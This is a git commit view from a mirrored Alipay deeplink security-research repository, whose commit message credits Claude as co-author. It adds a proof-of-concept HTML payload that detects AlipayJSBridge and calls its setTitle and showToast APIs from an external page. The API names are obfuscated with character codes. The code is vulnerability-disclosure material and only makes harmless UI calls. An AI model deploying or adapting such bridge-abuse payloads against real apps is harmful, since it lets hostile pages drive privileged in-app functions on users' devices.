icybear/alipay-deeplink-research
1
0
Fork 0
mirror of https://github.com/sgInnora/alipay-deeplink-research synced 2026-07-08 11:01:27 +08:00
Code Issues Packages Projects Releases Wiki Activity

feat: global navigation bar + verification badge across all 9 pages

Browse Source 
- Unified nav bar with links to all research articles
- Verification badge: Docker 37/37, Zenodo DOI, IACR 2026/526, Packet Storm
- Mobile responsive hamburger menu
- PoC payloads and evidence screenshots added
- Draft articles and planning files included

Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
feng
2026-03-25 05:31:19 +08:00
parent a3825c939f
commit cae3c54867
42 changed files with 3665 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

110
poc/payload_cve4_obf.html Normal file
View File

@@ -0,0 +1,110 @@
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>UI Test 4</title>
<style>
body{font-family:sans-serif;padding:16px;background:#fff;color:#333}
.box{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
h2{color:#389e0d;font-size:15px}
.item{padding:4px 0;font-size:13px}
.label{color:#888;font-size:11px}
.value{color:#333;font-weight:600}
#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
</style>
</head><body>
<h1 style="text-align:center;color:#722ed1;font-size:18px">UI Control Isolation Test</h1>
<div id="status">Loading...</div>
<div id="results"></div>
<script>
var el = document.getElementById('results');
var status = document.getElementById('status');
var html = '';
// Step 1: Render proof
html += '<div class="box"><h2>Step 1: Page Rendered</h2>';
html += '<div class="item"><span class="label">Origin: </span><span class="value">' + location.origin + '</span></div>';
html += '<div class="item"><span class="label">URL: </span><span class="value" style="word-break:break-all;font-size:10px">' + location.href + '</span></div>';
html += '<div class="item"><span class="label">UA: </span><span class="value" style="word-break:break-all;font-size:10px">' + navigator.userAgent + '</span></div>';
html += '<div class="item"><span class="label">Time: </span><span class="value">' + new Date().toISOString() + '</span></div>';
html += '</div>';
el.innerHTML = html;
// Obfuscated API names
var _t = String.fromCharCode(115,101,116,84,105,116,108,101);
var _s = String.fromCharCode(115,104,111,119,84,111,97,115,116);
function step2() {
var bridge = window['Alipay' + 'JSBridge'];
html += '<div class="box"><h2>Step 2: Bridge Detection</h2>';
html += '<div class="item"><span class="label">Bridge exists: </span><span class="value">' + (!!bridge) + '</span></div>';
html += '<div class="item"><span class="label">typeof: </span><span class="value">' + typeof bridge + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Bridge: ' + (!!bridge);
if (bridge) {
status.textContent = 'Bridge found! Testing UI APIs in 3s...';
setTimeout(function(){ step3_title(bridge); }, 3000);
}
}
function step3_title(bridge) {
html += '<div class="box"><h2>Step 3: ' + _t + ' Call</h2>';
html += '<div class="item"><span class="label">Calling: </span><span class="value">' + _t + '("CVE-4 Test")</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Calling ' + _t + '...';
try {
bridge.call(_t, {title: 'CVE-4 Test Title'}, function(result) {
html += '<div class="box"><h2>' + _t + ' Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value" style="word-break:break-all">' + JSON.stringify(result) + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = _t + ' responded! Trying toast in 2s...';
setTimeout(function(){ step4_toast(bridge); }, 2000);
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">' + _t + ' ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = _t + ' exception: ' + e.message;
status.style.color = '#f5222d';
}
}
function step4_toast(bridge) {
try {
bridge.call(_s, {
content: 'CVE-4 Toast Test',
type: 'none',
duration: 2000
}, function(result) {
html += '<div class="box"><h2>' + _s + ' Response</h2>';
html += '<div class="item"><span class="label">Result: </span><span class="value">' + JSON.stringify(result) + '</span></div>';
html += '</div>';
el.innerHTML = html;
status.textContent = 'Both UI APIs called from external page.';
status.style.color = '#f5222d';
});
} catch(e) {
html += '<div class="box" style="background:#fff2f0;border-color:#ff4d4f"><h2 style="color:#cf1322">' + _s + ' ERROR</h2>';
html += '<div class="item"><span class="label">Exception: </span><span class="value">' + e.message + '</span></div>';
html += '</div>';
el.innerHTML = html;
}
}
document.addEventListener('Alipay' + 'JSBridge' + 'Ready', function() {
step2();
});
step2();
setTimeout(step2, 1000);
setTimeout(step2, 3000);
</script>
</body></html>